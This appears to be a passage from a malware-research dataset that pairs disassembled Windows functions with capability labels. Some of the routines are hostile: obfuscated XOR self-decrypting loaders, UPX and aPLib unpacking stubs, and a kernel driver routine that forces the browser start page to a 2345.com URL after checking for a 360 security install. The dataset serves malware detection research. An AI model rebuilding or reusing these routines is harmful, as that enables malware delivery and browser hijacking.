joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003fe3b
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1003fe5f
xor eax, eax
jmp 0x1003ffa5
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x1003fe7d
xor eax, eax
jmp 0x1003ffa5
push 1
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 0x5a3e
push 0x61e4
call fcn.1003f903
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x1003fea5
xor eax, eax
jmp 0x1003ffa5
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 0x24]
push eax
push 0x70e0
call fcn.1003fae4
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 1
push 0x58e2
lea eax, [ebp - 8]
push eax
lea eax, [ebp + 8]
push eax
call fcn.1003fc3c
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x3838
push 0x4026
lea eax, [ebp - 8]
push eax
push 1
push 0x1c1a
push 0x3f4e
call fcn.1003fcb0
add esp, 0x20
cmp dword [ebp - 0x14], 0
je 0x1003ff2b
push 1
push dword [ebp - 0x14]
push 0x215f
push 0x72b1
push dword [ebp - 4]
call fcn.1003a9e0
add esp, 0x14
push dword [ebp - 4]
call fcn.1003f7ef
pop ecx
test eax, eax
jne 0x1003ff3c
xor eax, eax
jmp 0x1003ffa5
push dword [ebp - 4]
push 0
call fcn.1003d43e
pop ecx
pop ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x1003ff8d
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x1003ff67
xor eax, eax
jmp 0x1003ffa5
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x1003ff80
xor eax, eax
jmp 0x1003ffa5
push 1
lea eax, [ebp - 4]
push eax
call fcn.1003fe08
pop ecx
pop ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x1003ff9e
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x1003ffa2
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x10048350
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1004838e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1004838c
push 0
push 0x1d21
push 0
push 0
push 0x19f0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x100483d9
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x100483bc
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jge 0x100483d9
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x18]
call fcn.10008e46
mov dword [eax], 1
jmp 0x100483b1
mov esp, ebp
pop ebp
ret

Function at 0x1004b1bf
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1004b1f1
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1004b1ef
push 0
push 0x1d21
push 0
push 0
push 0x19f0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x1004b20e
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1004b20e
push 0xa5
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
mov esp, ebp
pop ebp
ret
Function at 0x10075229
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1007e330]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.10064b34
mov dword [ebp - 0x14], eax
cmp dword [0x11eee624], esi
jne 0x1007531c
push 0x800
push esi
push 0x10007a5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x100752a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100753fc
push esi
push esi
push 0x10007a5c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x100753fc
push 0x10007a74
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100753fc
push eax
call ebx
push 0x10007a80
push edi
mov dword [0x11eee624], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007a90
push edi
mov dword [0x11eee628], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007aa4
push edi
mov dword [0x11eee62c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x11eee634], eax
test eax, eax
je 0x10075319
push 0x10007ac0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x11eee630], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x10075341
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10075334
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x10075356
push 4
pop eax
jmp 0x100753fe
cmp dword [ebp - 0x14], esi
je 0x10075356
push dword [0x11eee624]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1007533b
mov eax, dword [0x11eee630]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x100753b4
cmp dword [0x11eee634], edi
je 0x100753b4
push eax
call ebx
push dword [0x11eee634]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x100753b4
test eax, eax
je 0x100753b4
call ecx
test eax, eax
je 0x100753a9
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x100753a9
test byte [ebp - 8], 1
jne 0x100753b4
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x100753e4
mov eax, dword [0x11eee628]
cmp eax, edi
je 0x100753e1
push eax
call ebx
test eax, eax
je 0x100753e1
call eax
mov esi, eax
test esi, esi
je 0x100753e1
mov eax, dword [0x11eee62c]
cmp eax, edi
je 0x100753e1
push eax
call ebx
test eax, eax
je 0x100753e1
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x11eee624]
call ebx
test eax, eax
je 0x100753fc
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x100753fe
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call main
mov esp, ebp
pop ebp
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x401c66
pop dword [ebp - 0x50]
mov eax, 0x401c66
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x27f67992
add dword [ebp - 0x60], 0x265bcbb9
mov dword [ebp - 0x5c], 0x8cef121c
sub dword [ebp - 0x5c], 0x5abbc5d7
mov dword [ebp - 0x58], 0x45087aaa
add dword [ebp - 0x58], 0x743c984
mov dword [ebp - 0x54], 0xa213c5c9
sub dword [ebp - 0x54], 0xa213c5c9
lea eax, [ebp - 0x60]
push eax
mov eax, 0x88acc4de
add eax, 0x77936b76
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x45ba1cab
sub dword [ebp - 0x60], 0xd147b355
mov dword [ebp - 0x5c], 0x62820b19
sub dword [ebp - 0x5c], 0x2115a9a4
mov dword [ebp - 0x58], 0x588a13e3
add dword [ebp - 0x58], 0xae55889
mov dword [ebp - 0x54], 0xad3c50b7
add dword [ebp - 0x54], 0x52c3af49
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x354ca
push 0
call eax
mov ecx, 0x4346
xor edi, edi
add edi, eax
mov esi, 0x407000
add esi, dword [ebp - 0x50]
mov ebx, 0x7a1697c1
sub ebx, 0x4c1a59f2
sub dword [ebp - 0x28], 0x9630f72b
mov edx, dword [esi]
add dword [ebp - 0x18], 0x6d8598cc
sub edx, ebx
mov dword [edi], edx
xor dword [ebp - 0x28], ecx
add edi, 0xafb1c3d5
sub edi, 0xafb1c3d1
add esi, 0xde50cfb8
sub esi, 0xde50cfb4
loop 0x401d74
add eax, 0xffeb
mov ebx, eax
add eax, 0x35b46583
sub eax, 0x35b4657e
mov ecx, 0xf93a577e
sub ecx, 0xf8fa577e
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x40ae28
Capabilities:
Hash data using sha1

Disassembly:
mov dword [eax], 0x67452301
xor edx, edx
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], edx
mov dword [eax + 0x14], edx
ret

Function at 0x337b8d30
Capabilities:
Encode data using xor

Disassembly:
jmp 0x337b8d3a
pushal
call 0x337b8d40
pop ebp
sub ebp, 0x10
sub ebp, 0x3b8d30
mov al, byte [esp + 0x28]
cmp al, 1
je 0x337b8d64
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x337b8d6d
mov eax, 0x3b8d30
add eax, ebp
add eax, 0x63
mov ecx, 0x5f4
mov edx, 0xd362f8b6
xor byte [eax], dl
inc eax
dec ecx
jne 0x337b8d84
jmp 0x337b8d97
cmp eax, 0x8a3f3d7b
mov dh, 0xb6
mov dh, 0x37
ja 0x337b8df0
mov dh, 0xb6
mov dh, 0xb5
jnp 0x337b8db6
mov dl, 0xb6
mov dh, 0xb6
or al, 0x9e
mov dh, 0xb6
mov dh, 0x41
push esp
mov ch, 0x7e
cmp eax, 0xb6b6ba37
aaa
mov edx, 0xb5b6b6b6
mov dh, 0xb6
mov dh, 0xb5
jae 0x337b8df9
rcl byte [edx - 0x6d4dc0b6], cl
cmp edx, edx
xchg edx, eax
dec edx
aas
mov dl, 0x92
fidivr word [esi - 0x34]
mov eax, 0xa4d0deb6
wait
mov dh, 0xb7
lcall 0x885b, 0xe090de92
pop esi
mov bl, 0xb6
mov dh, 0xb6
pop edi
pushfd
mov dh, 0xb6
mov dh, 0xe3
cmp ebx, edx
xchg edx, eax
mov dh, 0x3d
xor edi, dword [esi + 0x3db6b6b6]
and edi, dword [edx + 0x3db6b6b6]
mov dh, 0xb6
cmp eax, 0xb6b6ba23
mov dh, 0x3d
cmp esp, dword [esi + 0x77b6b6b6]
pop edi
mov ah, 0x87
mov ah, 0x35
je 0x337b8db8
invalid
Function at 0x11000
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 0x20], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
lea eax, [ebp + 8]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push 0xf003f
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x24], 0x18
mov dword [ebp - 0x18], 0x40
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
jl 0x1107b
push esi
push str.Start_Page
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov esi, str.http:__www.2345.com__24384_1361
push esi
call dword [sym.imp.ntoskrnl.exe_wcslen]
pop ecx
lea eax, [eax + eax + 2]
push eax
push esi
push 1
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop esi
leave
ret 8
Function at 0x113ac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x30], esi
lea edi, [ebp - 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, dword [ebp + 8]
cmp edi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
jne 0x113db
mov ebx, 0xc000000d
jmp 0x114eb
push str.REGISTRYMACHINESOFTWAREMicrosoftWindowsCurrentVersionUninstall360
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x30]
push eax
push 0x20019
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x240
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ntoskrnl.exe_ZwOpenKey]
mov ebx, eax
test ebx, ebx
jl 0x114cf
push 0x4d746147
mov ebx, 0x410
push ebx
push 0
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov esi, eax
test esi, esi
jne 0x11447
mov ebx, 0xc000009a
jmp 0x114cf
push ebx
push 0
push esi
call sub.ntoskrnl.exe_memset
add esp, 0xc
push str.InstallLocation
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 8]
push eax
push ebx
push esi
push 2
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
mov ebx, eax
test ebx, ebx
jl 0x114cf
cmp dword [esi + 4], 1
mov ebx, 0xc0000001
jne 0x114cf
push 0x4d746147
push 0x400
push 1
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
test eax, eax
mov dword [edi + 4], eax
je 0x114cf
mov cx, word [esi + 8]
mov word [edi], cx
mov word [edi + 2], 0x400
mov ecx, dword [esi + 8]
inc ecx
inc ecx
push ecx
xor ebx, ebx
push ebx
push eax
call sub.ntoskrnl.exe_memset
push dword [esi + 8]
lea eax, [esi + 0xc]
push eax
push dword [edi + 4]
call sub.ntoskrnl.exe_memcpy
add esp, 0x18
cmp dword [ebp - 4], 0
je 0x114de
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
test esi, esi
je 0x114eb
push 0
push esi
call dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4
Function at 0x11553
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and word [ebp - 0x14], 0
and word [ebp - 0x1c], 0
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x12]
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [ebp - 0x1a]
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 1], 0
call fcn.000113ac
test eax, eax
mov ebx, 0x4d746147
jl 0x1164c
push 0xc
pop ecx
mov esi, str._safemonHomePageLib.dat
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
push 0x200
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x10]
movsw word es:[edi], word [esi]
call dword [sym.imp.ntoskrnl.exe_wcsncat]
push dword [ebp - 0x10]
call dword [sym.imp.ntoskrnl.exe_wcslen]
add esp, 0x10
push ebx
mov esi, 0x400
push esi
add eax, eax
push 1
mov word [ebp - 0x14], ax
mov word [ebp - 0x12], si
call dword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
push esi
push 0
push eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x1a], si
call sub.ntoskrnl.exe_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.000114f4
push dword [ebp - 0x18]
call fcn.000112e0
mov esi, eax
test esi, esi
je 0x1164c
lea eax, [ebp - 8]
push eax
push 0
push 0x48
push str._n8_8
push esi
call fcn.00011361
test al, al
mov byte [ebp - 1], al
je 0x11645
and dword [ebp - 0x24], 0
xor eax, eax
and dword [ebp - 8], eax
push 0x14
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
push 8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
mov dword [ebp - 0xc], 0x48
call dword [sym.imp.ntoskrnl.exe_ZwSetInformationFile]
push esi
call dword [sym.imp.ntoskrnl.exe_ZwClose]
cmp dword [ebp - 0x10], 0
mov esi, dword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
je 0x1165e
push ebx
push dword [ebp - 0x10]
call esi
cmp dword [ebp - 0x18], 0
je 0x1166a
push ebx
push dword [ebp - 0x18]
call esi
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x11672
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea eax, [ebp - 0x10]
xor esi, esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x30]
push eax
push 0xf003f
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x30], 0x18
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], 0x240
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ntoskrnl.exe_ZwCreateKey]
mov ebx, eax
cmp ebx, esi
jl 0x116f1
push dword [ebp + 0xc]
lea eax, [ebp - 0x18]
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push dword [ebp + 0x10]
push dword [ebp + 0x18]
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwSetValueKey]
mov ebx, eax
cmp dword [ebp - 4], esi
je 0x116ff
push dword [ebp - 4]
call dword [sym.imp.ntoskrnl.exe_ZwClose]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 0x14
Function at 0x404a4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x404a5d
pop dword [ebp - 8]
mov eax, 0x1278f60
add eax, 0xff18bafd
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3be09
push 0
mov eax, 0x3a6bdac0
sub eax, 0x3a2988a8
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x4045
xor esi, esi
add esi, eax
mov edi, 0x42a5fac6
add edi, 0xbd9d593a
add edi, dword [ebp - 8]
mov edx, 0x1e05fe78
add edx, 0x952bac02
xor dword [ebp - 4], 0xecd78984
mov ebx, dword [edi]
xor dword [ebp - 4], 0xcb11525
xor ebx, edx
mov dword [esi], ebx
add esi, 0x8a367e26
sub esi, 0x8a367e22
add edi, 0xc7174819
sub edi, 0xc7174815
loop 0x404ab8
add eax, 0xe9a8db
add eax, 0xff174b0c
mov ebx, eax
add eax, 5
mov ecx, 0xba521682
sub ecx, 0xba121682
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7

Function at 0x9fe058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.009fe1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x9fe07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe06a
add dl, dl
jne 0x9fe089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe0dc
xor eax, eax
add dl, dl
jne 0x9fe096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x9fe17d
add dl, dl
jne 0x9fe0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x9fe0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x9fe075
mov eax, 1
add dl, dl
jne 0x9fe0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9fe0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe0e1
sub eax, ebx
mov ebx, 1
jne 0x9fe128
mov ecx, 1
add dl, dl
jne 0x9fe10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9fe13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9fe14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x9fe136
cmp eax, 0x7d00
jae 0x9fe16d
cmp eax, 0x500
jb 0x9fe168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
cmp eax, 0x7f
ja 0x9fe170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x9fe075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x9fe19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x9fe075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x499f10
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x51000]
push edi
or ebp, 0xffffffff
jmp 0x499f32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x499f39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x499f28
mov eax, 1
add ebx, ebx
jne 0x499f4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x499f5c
jne 0x499f7b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x499f7b
dec eax
add ebx, ebx
jne 0x499f68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x499f40
add ebx, ebx
jne 0x499f77
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x499fcd
xor ecx, ecx
sub eax, 3
jb 0x499f93
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x49a002
sar eax, 1
mov ebp, eax
jmp 0x499f9e
add ebx, ebx
jne 0x499f9e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x499f6c
inc ecx
add ebx, ebx
jne 0x499fac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x499f6c
add ebx, ebx
jne 0x499fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x499fae
jne 0x499fca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x499fae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x499fec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x499fde
jmp 0x499f2e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x499fec
add edi, ecx
jmp 0x499f2e
pop esi
mov edi, esi
mov ecx, 0x139
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x49a00a
cmp byte [edi], 3
jne 0x49a00a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x49a00f
lea edi, [esi + 0x97000]
mov eax, dword [edi]
or eax, eax
je 0x49a07e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x9a224]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x9a370]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x49a03c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x9a378]
or eax, eax
je 0x49a078
mov dword [ebx], eax
add ebx, 4
jmp 0x49a059
call dword [esi + 0x9a374]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x49a0af
cmp al, 0xef
ja 0x49a0a2
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x49a084
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x49a091
mov ebp, dword [esi + 0x9a37c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x49a0e3
sub esp, 0xffffff80
jmp 0x403e29